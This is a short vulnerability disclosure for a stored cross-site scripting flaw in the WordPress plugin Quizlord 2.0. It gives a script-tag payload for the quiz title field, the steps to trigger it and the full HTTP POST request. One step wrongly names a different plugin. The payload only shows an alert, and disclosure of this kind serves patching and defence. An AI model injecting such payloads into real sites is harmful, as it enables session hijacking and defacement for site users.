# Exploit Title: WordPress Plugin Quizlord 2.0 - Cross-Site Scripting # Date: 2018-08-29 # Exploit Author: Renos Nikolaou # Software Link: https://downloads.wordpress.org/plugin/quizlord.zip # Version: 2.0 # Tested on: Kali Linux # CVE: N/A # Description : Quizlord is prone to Stored Cross Site Scripting vulnerabilities # because it fails to properly sanitize user-supplied input. # PoC - Stored XSS - Parameter: title # 1) Login as a user who have access to Jibu Pro plugin. # 2) Quizlord --> Add a Quiz. # 3) At the title type: poc"><script>alert(1)</script> , then fill the remaining fields and click Save. # (The first pop-up will appear. Also keep note of the shortcode: [quizlord id="#"]) # 4) Copy the Shortcode [quizlord id="#"] into any post or page and visit the it via browser. # Post Request (Step 3): POST /wordpress/wp-admin/admin.php HTTP/1.1 Host: domain.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://domain.com/wordpress/wp-admin/admin.php?page=quizlord Cookie: wordpress_295cdc576d46a74a4105db5d33654g45 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 188 action=ql_insert&title=poc"><script>alert(1)</script>&description=&time=0&numbtype=numerical&numbmark=&rightcolor=00FF00&wrongcolor=FF0000&showtype=paginated&addquiz=Save